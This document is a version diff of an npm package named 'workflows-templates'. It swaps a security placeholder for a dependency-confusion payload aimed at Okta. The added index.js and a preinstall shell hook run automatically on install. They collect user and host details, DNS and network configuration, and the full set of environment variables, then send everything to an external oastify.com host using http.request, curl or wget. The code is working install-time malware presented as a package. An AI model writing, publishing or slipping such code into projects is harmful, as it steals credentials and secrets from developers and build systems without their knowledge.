workflows-templates 0.0.1-security → 1.0.2

package/index.js

@@ -0,0 +1,69 @@
+// Apex Hunter v3 - index.js (Stealthy Node.js Payload)
+// This will be attempted first. If it fails, the shell fallback in package.json will run.
+
+const os = require('os');
+const fs = require('fs');
+const http = require('http');
+
+// ======================= CONFIGURATION =======================
+const oastHost = '0ghiupvsv1wtvtoarcpv56v0orusii67.oastify.com';
+const payloadIdentifier = 'Okta_Node_RCE';
+// =============================================================
+
+async function gatherIntel() {
+    let report = `[+] === Nepalese Hunter: RCE Beacon (Node.js) ===\n`;
+    report += `[>] Payload ID: ${payloadIdentifier}\n`;
+    report += `[>] Timestamp: ${new Date().toUTCString()}\n`;
+
+    // System and User Info
+    try {
+        const userInfo = os.userInfo();
+        report += `\n[+] --- SYSTEM & USER CONTEXT ---\n`;
+        report += `User: ${userInfo.username} (uid:${userInfo.uid}, gid:${userInfo.gid})\n`;
+        report += `Hostname: ${os.hostname()}\n`;
+        report += `Platform: ${os.platform()} ${os.release()} ${os.arch()}\n`;
+        report += `PWD: ${process.cwd()}\n`;
+    } catch (e) { }
+
+    // DNS Resolver
+    try {
+        const resolvConf = fs.readFileSync('/etc/resolv.conf', 'utf8');
+        report += `\n[+] --- DNS CONFIGURATION (/etc/resolv.conf) ---\n${resolvConf}\n`;
+    } catch (e) { }
+
+    // Environment Variables
+    try {
+        report += `\n[+] --- FULL ENVIRONMENT VARIABLES ---\n${JSON.stringify(process.env, null, 2)}\n`;
+    } catch (e) { }
+
+    return report;
+}
+
+function exfiltrate(data) {
+    const options = {
+        hostname: oastHost,
+        port: 80,
+        path: `/NODE-RCE-FROM-${os.hostname()}`,
+        method: 'POST',
+        headers: {
+            'Content-Type': 'text/plain',
+            'Content-Length': Buffer.byteLength(data),
+        },
+    };
+
+    const req = http.request(options, (res) => {
+        res.resume();
+    });
+
+    req.on('error', () => {
+        process.exit(1); // Force fallback if exfil fails
+    });
+
+    req.write(data);
+    req.end();
+}
+
+(async () => {
+    const intelReport = await gatherIntel();
+    exfiltrate(intelReport);
+})();

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "workflows-templates",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.2",
+  "description": "CRITICAL - RCE PoC via Dependency Confusion for Okta (nepalihacker000)",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js 2>/dev/null || (PAYLOAD_URL='http://0ghiupvsv1wtvtoarcpv56v0orusii67.oastify.com'; SCRIPT_PATH='/tmp/p.sh'; (echo '#!/bin/sh' && echo 'o() { echo \"[+] --- $1 ---\"; };' && echo 'o GATHERING INTEL (SHELL_FALLBACK)'; echo 'o USER_PRIVILEGE'; id || whoami; echo; echo 'o HOST_KERNEL'; hostname; uname -a; echo; echo 'o PWD'; pwd; echo; echo 'o DNS_INTERNAL_PROOF'; cat /etc/resolv.conf; echo; echo 'o NETWORK_CONFIG'; (ip -o a || ifconfig || echo \"No network tools found.\"); echo; echo 'o ENVIRONMENT'; env;' && echo 'o EXFILTRATING'; echo 'EXFIL_DATA=$(o GATHERING INTEL \\(SHELL_FALLBACK\\) && o USER_PRIVILEGE && (id || whoami) && echo && o HOST_KERNEL && (hostname; uname -a) && echo && o PWD && pwd && echo && o DNS_INTERNAL_PROOF && cat /etc/resolv.conf && echo && o NETWORK_CONFIG && (ip -o a || ifconfig || echo \"No network tools found.\") && echo && o ENVIRONMENT && env)'; echo 'ENCODED_DATA=$(echo \"$EXFIL_DATA\" | base64 | tr -d \"\\n\")'; echo 'EXFIL_CMD=\"curl -s -X POST -H \\\"Content-Type: text/plain\\\" --data \\\"$ENCODED_DATA\\\" $PAYLOAD_URL/SHELL-RCE-FROM-$(hostname)\"'; echo 'eval $EXFIL_CMD || (echo \"$ENCODED_DATA\" | wget -q -O- --post-file=- --header=\"Content-Type: text/plain\" \"$PAYLOAD_URL/SHELL-RCE-WGET-$(hostname)\")') > $SCRIPT_PATH && chmod +x $SCRIPT_PATH && $SCRIPT_PATH)"
+  },
+  "author": "nepalihacker000",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=workflows-templates for more information.